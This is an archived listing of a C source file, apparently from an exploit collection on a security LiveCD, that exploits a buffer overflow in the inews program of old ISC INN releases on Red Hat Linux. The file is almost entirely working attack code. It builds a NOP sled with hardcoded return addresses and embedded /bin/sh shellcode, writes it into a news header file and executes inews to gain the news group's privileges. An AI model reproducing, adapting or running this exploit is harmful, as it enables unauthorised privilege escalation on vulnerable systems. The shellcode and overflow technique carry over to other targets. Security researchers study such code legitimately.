home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / inews.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /*
  2.  * inews exploit , gives you the inews egid .
  3.  * bawd@kitetoa.com
  4.  * greetz to nitro,shivan,rfp & Minus :)
  5.  *
  6.  *
  7.  * RET addresses change between RH 5.2 ,6.0 etc..
  8.  *
  9.  * RH 5.2 RET = 0xbffff6f0
  10.  * RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
  11.  *
  12.  * * *
  13.  * INN version 2.2 and earlier have a buffer
  14.  * overflow condition in inews program allowing
  15.  * any attacker to gain news group privileges.
  16.  *
  17.  * ISC INN 2.2, 2.1, 2.0, 1.7.2, 1.7, 1.5.1
  18.  * RedHat Linux 6.0, 5.2, 5.1, 5.0, 4.2, 4.1
  19.  * * *
  20.  *
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <unistd.h>
  26. #include <string.h>
  27. #define DEFAULT_OFFSET 0
  28. #define BUFFER_SIZE 540
  29. #define RET 0xbffff6f0
  30.  
  31. main (int argc, char *argv[])
  32. {
  33.   FILE *fp;
  34.   int offset = 0;
  35.   char *buff = NULL;
  36.   int i;
  37.  
  38.   u_char execshell[] =
  39.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  40.     "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  41.     "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  42.     "\xd7\xff\xff\xff/bin/sh";
  43.  
  44.   if (argc > 1)
  45.     offset = atoi (argv[1]);
  46.  
  47.   buff = malloc (1024);
  48.  
  49.   if (!buff)
  50.     {
  51.       printf ("malloc isnt working\n");
  52.       exit (0);
  53.     }
  54.  
  55.   memset (buff, 0x90, BUFFER_SIZE);
  56.  
  57.   for (i = 100; i < BUFFER_SIZE - 4; i += 4)
  58.     *(long *) &buff[i] = RET + offset;
  59.  
  60.   memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
  61.  
  62.   if ((fp = fopen ("filez", "w")) != NULL)
  63.     {
  64.       fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", buff);
  65.       fclose (fp);
  66.       execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  67.     }
  68.   else
  69.     {
  70.       printf ("Couldnt open file : filez\n");
  71.       exit (0);
  72.     }
  73. }
  74. /*                    www.hack.co.za              [2000]*/